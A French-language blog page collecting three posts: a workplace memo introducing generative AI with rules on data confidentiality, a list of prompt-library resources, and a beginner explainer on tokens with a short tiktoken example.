    L’intelligence artificielle transforme rapidement les métiers et les pratiques professionnelles. Elle offre des opportunités majeures pour améliorer la productivité, automatiser certaines tâches, favoriser la créativité et renforcer la prise de décision. Toutefois, l’utilisation de ces technologies doit s’accompagner de discernement, d’un minimum de connaissances et d’une vigilance accrue quant aux données manipulées.

    Ce mémo a donc pour objectif de vous initier concrètement à l’IA en tant qu’outil de travail : comprendre ses possibilités, apprendre à bien formuler vos demandes, éviter les erreurs fréquentes et intégrer les bons réflexes de sécurité et de confidentialité.

    Il s’adresse à tous, même sans compétences techniques particulières.

    ✅ Objectifs clés

    • Comprendre ce qu’est une IA générative et comment elle fonctionne.
    • Identifier des usages simples, utiles dans votre quotidien professionnel.
    • Apprendre à dialoguer efficacement avec une IA pour obtenir des résultats pertinents.
    • Maîtriser les bonnes pratiques de sécurité et de confidentialité des données.
    • Adopter un regard critique sur les résultats produits (fiabilité, sources, contexte).

    ⚠️ Avertissement essentiel : Confidentialité des données

    L’usage d’outils d’IA en ligne (comme ChatGPT ou Copilot) peut impliquer l’envoi de vos requêtes à des serveurs distants, potentiellement situés hors de l’UE. Ces données peuvent être temporairement conservées et analysées pour l’amélioration des modèles.

    Il est strictement interdit d’y entrer des informations sensibles, telles que :

    • Données clients ou personnelles (noms, adresses, téléphones, numéros de contrat)
    • Informations confidentielles internes (stratégie, budget, dossiers RH)
    • Accès techniques (mots de passe, configurations serveur, fichiers sources non publics)

    En cas de doute, vous pouvez toujours reformuler vos données ou utiliser des cas fictifs.

    Privilégiez également les outils validés ou hébergés en interne si disponibles.

    Comprendre l’IA opérationnelle

    Qu’est-ce qu’une IA générative ?

    Une IA générative est un modèle d’intelligence artificielle capable de créer du contenu original (texte, image, code, audio…) à partir d’instructions en langage naturel. Ces modèles ont été entraînés sur de grandes quantités de données disponibles publiquement afin d’apprendre les structures, les styles, les raisonnements.

    Par exemple : si vous tapez « résume ce texte en 3 points », l’IA identifie les idées principales et reformule de manière concise.

    Exemples d’outils IA accessibles

    Voici quelques outils grand public ou professionnels, utiles au quotidien :

    • ChatGPT / Mistral / Gemini : assistants conversationnels pour répondre à des questions, produire du texte, synthétiser, reformuler.
    • Grammarly / LanguageTool : correction grammaticale et style.
    • DALL·E / Canva AI / Midjourney : génération d’images à partir de descriptions.
    • GitHub Copilot : assistant pour les développeurs (complétion automatique de code).

    Usages concrets en entreprise

    Voici des activités dans lesquelles l’IA peut être utile immédiatement :

    • Communication :
      • Rédaction ou correction d’emails professionnels
      • Synthèse de comptes-rendus
    • Marketing :
      • Proposition de slogans ou d’idées de campagne
      • Création de visuels promotionnels
    • Support client / RH :
      • Rédaction de FAQ, réponses types aux demandes courantes
      • Aide à la préparation de fiches de poste ou documents internes
    • Analyse et gestion :
      • Classement d’informations, repérage de tendances, suggestion d’actions

    Rappels pratiques de sécurité

    Pour chaque usage potentiel, demandez-vous :

    • Le contenu est-il public ou anonymisé ?
    • Y a-t-il un risque si ce contenu est réutilisé ou stocké ?
    • Puis-je reformuler mon besoin pour limiter les données exposées ?

    Il est toujours possible de simuler un cas proche du réel sans dévoiler d’informations sensibles.

    Ainsi, l’IA devient un co-pilote, jamais un substitut aveugle. Elle vous accompagne, mais ne décide pas à votre place.

    Cas d’usage simples à mettre en œuvre

    1. Rédiger un email clair et efficace

    Avant : Vous devez répondre à un client en termes diplomatiques.

    Avec l’IA : « Rédige un mail professionnel pour expliquer un retard de livraison, en proposant un geste commercial. »

    2. Résumer un long document

    Avant : Vous avez un PDF de 10 pages de réunion interne.

    Avec l’IA : Copier quelques paragraphes anonymisés et demander : « Fais un résumé synthétique en 5 points clés. »

    3. Générer des visuels pour une présentation

    Avant : Vous cherchez une illustration pour une présentation RH.

    Avec l’IA : Sur Canva AI : « Illustration moderne d’une équipe en télétravail, fond clair. »

    4. Traduire ou reformuler un texte

    Avec l’IA : « Traduire ce texte en anglais professionnel » ou « Reformule ce message en langage simple. »

    Risques, limites et éthique

    Limites techniques et humaines de l’IA

    • Les IA génératives ne comprennent pas réellement ce qu’elles disent. Elles prédisent le mot ou l’image le plus probable en fonction d’un contexte.
    • Elles peuvent produire des informations fausses, inexactes, biaisées, ou déconnectées de la réalité (ce qu’on appelle des « hallucinations »).
    • Elles ne connaissent pas l’état actuel de votre entreprise, vos règles internes, ni vos projets.

    Bon réflexe : Toujours relire, corriger, valider avec un humain. L’IA n’est pas une source fiable unique.

    Principes éthiques à respecter

    • Neutralité et bienveillance : Éviter tout contenu qui pourrait être interprété comme discriminatoire, offensant ou manipulateur.
    • Responsabilité : Vous restez responsable des contenus produits, même s’ils sont générés par une IA.
    • Respect des droits d’auteur : Ne pas copier-coller sans vérification, et attention aux contenus protégés.

    Confidentialité renforcée : rappels essentiels

    • Ne jamais entrer de données personnelles ou confidentielles dans des IA grand public.
    • Toujours vérifier les CGU (conditions générales d’utilisation) des plateformes.
    • Privilégier l’usage d’IA locales ou validées par votre service informatique.

    🚨 En cas de doute ?

    • Ne prenez aucun risque si vous n’êtes pas sûr du niveau de confidentialité.
    • Préférez reformuler ou tester sur un exemple fictif.

    L’IA est une aide, pas une autorité : gardez le contrôle sur les contenus produits et diffusés.

    Synthèse : recommandations finales et prochaines étapes

    Récapitulatif des bonnes pratiques

    À FAIRE ✅ À ÉVITER ❌
    Utiliser des exemples neutres ou fictifs Entrer des données personnelles ou sensibles
    Relire et valider chaque contenu IA Publier du contenu IA sans contrôle humain
    Reformuler vos besoins clairement Poser des questions floues ou ambiguës
    Tester progressivement Remplacer totalement un travail humain
    Informer si un contenu est généré Masquer l’usage de l’IA dans une publication

    📌 Derniers conseils

    • L’IA est un outil puissant si elle est bien utilisée : gardez un esprit critique, et n’oubliez jamais que vous êtes responsable de ce que vous produisez avec elle.
    • L’IA ne remplace pas les compétences humaines, mais les complète. C’est un accélérateur, pas une substitution.
    • Commencez petit : testez un cas simple par semaine (ex : reformulation de mail, résumé, visuel). Plus vous pratiquez, plus vous serez à l’aise.

    L’acculturation à l’IA est un processus collectif et continu. Ensemble, faisons-en un levier d’innovation et de progrès dans nos métiers !

     

    IA, Recherche

    Comment trouver les meilleurs prompts

    Rechercher les meilleurs primpts

    Tu bosses avec des IA génératives et t’as pas envie de réinventer la roue à chaque prompt ? Tu veux gagner du temps, booster tes tests ou simplement t’inspirer de ce qui marche déjà ? Alors ce qui suit est pour toi.

    Le prompt, c’est ta clé d’entrée

    Un prompt, c’est pas juste une question balancée au pif. C’est l’entrée d’un tunnel qui va te ressortir un résultat (souvent) proportionnel à ce que t’as mis dedans. Tu veux du qualitatif ? Commence par être précis, structuré, et surtout, clair.

    Quelques pépites pour dégoter des listes de prompts

    1. The Prompt Index

    Une vraie base de données communautaire, organisée par outils, cas d’usage, et types de prompt. Parfait pour fouiller, copier-coller, ou réadapter. C’est un peu le GitHub des prompts.

    2. Anthropic Prompt Library

    Sobre, propre, efficace. Moins fourni que d’autres, mais chaque exemple vaut de l’or. Idéal si tu veux comprendre comment formuler un prompt bien construit pour Claude ou d’autres LLM.

    3. PromptBase

    Tu veux des prompts spécifiques (branding, SEO, dev…) ? Ce marketplace vend du prompt prêt à l’emploi. Oui, tu peux aussi vendre les tiens. C’est le Fiverr du prompt engineering.

    4. Prompting Guide

    Un dépôt GitHub complet, mis à jour, avec guides, méthodes et cas d’usage. Si t’aimes les docs bien fichues et les explications techniques, c’est ici qu’il faut fouiller.

    Mon conseil : copie, mais adapte

    Ces listes sont utiles, mais si tu balances des prompts comme un automate, l’IA va te le rendre. Pars de ces bases, mais pense à ton contexte, ton objectif, et n’hésite pas à itérer. C’est comme en scripting : le copier-coller, ça passe… mais le sur-mesure, c’est mieux.

    🛠️ En résumé

    Si t’utilises une IA, t’as intérêt à savoir la driver. Et pour ça, faut savoir parler son langage. Ces ressources vont te filer un coup de main pour affûter ton vocabulaire. Explore, teste, bidouille. Et surtout, note ce qui marche.

    IA

    Comprendre les Tokens en Intelligence Artificielle

    Comprendre les Tokens en Intelligence Artificielle : Le Cœur des Modèles de Langage

     

    Les tokens IA

    Introduction

    Quand on utilise une intelligence artificielle comme ChatGPT, on entend souvent parler de tokens. Ce mot revient aussi bien dans les discussions techniques que dans les factures des API. Mais que sont exactement les tokens ? Pourquoi sont-ils si importants ? Et comment influencent-ils les performances, les coûts et la compréhension d’un modèle IA ?
    Dans cet article, je vous explique tout, du niveau débutant à expert, avec des exemples concrets.

    Qu’est-ce qu’un Token ?

    Un token est une unité de texte utilisée par les modèles de langage. Contrairement à ce qu’on pourrait penser, ce n’est pas toujours un mot entier.
    Un token peut être :

    • un mot entier : bonjour
    • une partie de mot : ordi et nateur
    • un caractère spécial : !, ,, ?
    • un espace :

    C’est une façon pour le modèle de découper le texte afin de le traiter efficacement.

    Exemple simple :
    La phrase Je t’aime bien. peut être découpée en tokens comme ceci :
    Je, Ġt, ’, aime, Ġbien, .
    (6 tokens)

    À noter : Le Ġ représente un espace dans certains systèmes de tokenisation.

    Pourquoi les Tokens sont-ils utilisés en IA ?

    Les modèles d’IA ne comprennent pas le texte comme nous. Ils doivent le transformer en nombres.
    La première étape, c’est de découper le texte en tokens, puis de convertir chaque token en un identifiant numérique à l’aide d’un vocabulaire (tokenizer).

    Chaque token est ensuite analysé, compris, et intégré dans un contexte plus large.
    C’est à partir de cette séquence que le modèle peut prédire le mot suivant, reformuler une phrase, ou même traduire un texte.

    Comment compter les Tokens ?

    Il est souvent difficile d’estimer manuellement le nombre de tokens. En moyenne :

    • 1 token ≈ 4 caractères anglais
    • 1 token ≈ 0,75 mot anglais
    • En français, on peut dire qu’en moyenne :
      • 100 mots = 130 à 160 tokens

    Exemples concrets :

    Texte Nombre de tokens (approx.)
    « Bonjour, comment ça va ? » 6
    « L’intelligence artificielle est fascinante. » 7
    « Le chat mange une souris sur le tapis rouge. » 10

    Des outils comme OpenAI Tokenizer peuvent t’aider à compter les tokens d’un texte.

    Pourquoi les Tokens comptent (vraiment) ?

    1. Limites du modèle

    Chaque modèle a une limite de tokens par requête :

    • GPT-3.5 : 4 096 tokens
    • GPT-4 (standard) : 8 192 tokens
    • GPT-4 Turbo : jusqu’à 128 000 tokens

    Cela inclut le prompt + la réponse + l’historique de conversation.

    2. Facturation à l’usage

    Lorsque tu utilises l’API OpenAI ou d’autres services d’IA, tu es facturé au nombre de tokens consommés.
    Cela pousse à optimiser ton prompt pour ne pas « gaspiller » des tokens inutiles.

    3. Performance et pertinence

    Des prompts trop longs peuvent diluer l’information. Des prompts trop courts manquent de contexte. Il faut donc trouver le bon équilibre pour obtenir des réponses précises.

    Optimiser les Tokens

    a. Compression de prompt

    • Utiliser des phrases courtes et claires.
    • Supprimer les redondances.
    • Préférer les termes concis : résume au lieu de fais un résumé détaillé de....

    b. Mémoire contextuelle

    • GPT-4 Turbo peut garder une grande mémoire de contexte. Utilise cette mémoire pour accumuler de l’information dans un fil long (jusqu’à 128 000 tokens), utile pour la programmation, la rédaction ou l’analyse de données.

    c. Pré-tokenisation personnalisée

    • Si tu utilises l’API, tu peux pré-tokeniser ton texte avec tiktoken pour mieux gérer ton budget.
    • Exemple en Python : import tiktoken enc = tiktoken.get_encoding("cl100k_base") tokens = enc.encode("Bonjour, comment ça va ?") print(tokens) # [8774, 11, 1201, 1405, 30]

    Conclusion

    Les tokens sont la base du fonctionnement des modèles de langage. Ils représentent la manière dont l’IA comprend, traite et répond à vos demandes.
    Que vous soyez simple utilisateur ou développeur expérimenté, comprendre leur logique vous aidera à mieux interagir avec l’IA, optimiser vos requêtes et réduire vos coûts.

    À retenir :

    • Un token ≠ un mot
    • Les tokens comptent dans les limites et la facturation
    • Optimiser ses prompts permet de mieux utiliser l’IA

    Estimez le nombre de tokens de votre phrase :

    Estimation : 0 tokens